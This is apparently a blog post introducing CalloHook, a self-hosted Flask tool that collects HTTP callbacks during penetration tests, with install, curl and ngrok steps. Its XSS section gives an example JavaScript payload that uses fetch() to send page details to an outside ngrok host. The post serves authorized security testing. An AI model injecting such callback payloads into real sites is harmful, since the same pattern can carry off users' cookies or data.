CalloHook: Simple self-hosted HTTP Callback

September 9, 2026 by Ramadhan5 minutes

CalloHook: Simple self-hosted HTTP Callback

Introduction

This tool started as a small side project out of curiosity. I wanted to experiment with building something similar to webhook.site, but as a simple self-hosted version that I could run and control on my own environment.

At first, the goal was simply to understand how an HTTP callback collector works—receiving incoming requests, inspecting their contents, and displaying the captured data through a simple dashboard.

As I continued it, I realized that this kind of tool could also be useful during penetration testing, especially for receiving HTTP callbacks, validating Proof of Concept (PoC) scenarios, and collecting evidence for pentest reports.

For this reason, I created CalloHook, a lightweight self-hosted HTTP callback collector built with Python and Flask.

It can capture and display useful information from incoming HTTP requests, including:

  • HTTP method and path
  • Source IP address
  • Query parameters / URLSearchParams
  • Cookies
  • HTTP headers
  • Request body
  • JSON payload
  • Timestamp

Captured requests are also stored locally, useful as supporting evidence when writing penetration testing reports.

Disclaimer

CalloHook is intended for authorized penetration testing, security research, CTFs, and lab environments. Only use it on systems you own or have explicit permission to test.

Project Structure

The project structure is intentionally simple:

CalloHook/
├── main.py
├── requirements.txt
├── README.md
├── LICENSE
├── .gitignore
├── logs/
│   └── requests.jsonl
└── templates/
    └── index.html

The main files are:

  • main.py — Flask server responsible for receiving and logging HTTP requests.
  • templates/index.html — Web dashboard for viewing captured requests.
  • logs/requests.jsonl — Stores captured requests locally.
  • requirements.txt — Python dependencies.
  • .gitignore — Prevents logs and local files from being committed to the repository.

Tech Stacks

It uses only a few components:

○ Python

Python is the main programming language used to implement the HTTP callback collector.

○ Flask

Flask is used as the web framework for handling incoming HTTP requests and serving the dashboard.

○ JSON Lines

Captured requests are stored using the JSON Lines (.jsonl) format, where each request is stored as a separate JSON object.

For example:

{"timestamp":"2026-09-09T10:15:22","method":"GET","path":"/poc","ip":"127.0.0.1","query":{"proof":["xss-executed"]}}

This format makes logs easy to append and process later using other tools.

○ ngrok

ngrok can be used when CalloHook needs to receive callbacks from the internet.

The basic flow looks like this:

Target Application
        |
        | HTTP Callback
        v
https://example.ngrok-free.app
        |
        v
      ngrok
        |
        v
localhost:8080
        |
        v
    CalloHook

Installation

Clone the repository:

git clone https://github.com/nopedawn/CalloHook.git
cd CalloHook

Create a Python virtual environment:

python3 -m venv venv
source venv/bin/activate

Install the dependencies:

pip install -r requirements.txt

Then start CalloHook:

python3 main.py

By default, the server runs on port 8080:

CalloHook | Pentest Webhook Collector
-------------------------
Dashboard : http://127.0.0.1:8080
Logs      : http://127.0.0.1:8080/logs
Log File  : logs/requests.jsonl

The dashboard can be accessed at:

http://127.0.0.1:8080

Testing CalloHook

To verify that the collector is working, send a simple request using curl:

curl "http://127.0.0.1:8080/poc?proof=test&source=pentest"

CalloHook will capture the query parameters:

{
  "proof": [
    "test"
  ],
  "source": [
    "pentest"
  ]
}

You can also send a JSON request:

curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"finding":"Stored XSS","status":"confirmed"}' \
  "http://127.0.0.1:8080/poc"

The captured request can then be viewed directly from the dashboard.

Exposing CalloHook with ngrok

If the target application cannot reach your localhost environment, CalloHook can be exposed using ngrok.

First, make sure CalloHook is running:

python3 main.py

Then open another terminal and run:

ngrok http 8080

ngrok will provide a public URL similar to:

https://example.ngrok-free.app

And provide Web Interface at:

http://127.0.0.1:4040

You can test the public endpoint with:

curl "https://example.ngrok-free.app/poc?proof=callback-test"

ngrok will forward the request to CalloHook running on localhost:8080.

Using URLSearchParams

One of the reasons I created CalloHook was to simplify callback validation during web application penetration testing.

For example, during an authorized XSS assessment, non-sensitive information can be sent using URLSearchParams:

const params = new URLSearchParams({
    proof: "xss-executed",
    origin: location.origin,
    path: location.pathname
});

fetch(
    "https://example.ngrok-free.app/poc?" + params.toString(),
    {
        mode: "no-cors"
    }
);

If the JavaScript executes successfully, CalloHook will receive a callback similar to:

GET /poc

Query / URLSearchParams

{
  "proof": [
    "xss-executed"
  ],
  "origin": [
    "https://target.example"
  ],
  "path": [
    "/affected/page"
  ]
}

This callback can be used as additional evidence that JavaScript execution occurred on the affected page.

For security assessments, dedicated test accounts and non-sensitive test data should be used instead of collecting real user credentials or sessions.

Persistent Logs

All requests received by CalloHook are automatically stored in:

logs/requests.jsonl

The logs remain available even after the server is restarted.

When CalloHook starts again, previously captured requests are loaded and displayed on the dashboard.

To clear all captured logs, use the Clear Logs button on the dashboard or run:

curl -X POST http://127.0.0.1:8080/clear

The logs/ directory is also included in .gitignore to prevent penetration testing data from being accidentally pushed to a public repository.

Conclusion

CalloHook started from a simple need: having an HTTP callback collector that could fully control locally.

Using Python and Flask, the tool can receive different types of HTTP requests, display them through a simple dashboard, and persist captured callbacks locally. When an internet-accessible callback endpoint is required, ngrok can be used to expose the local collector.

The project is still simple, and I plan to improve it based on future security testing needs.

The source code is available on GitHub:

Always make sure you have proper authorization before performing security testing.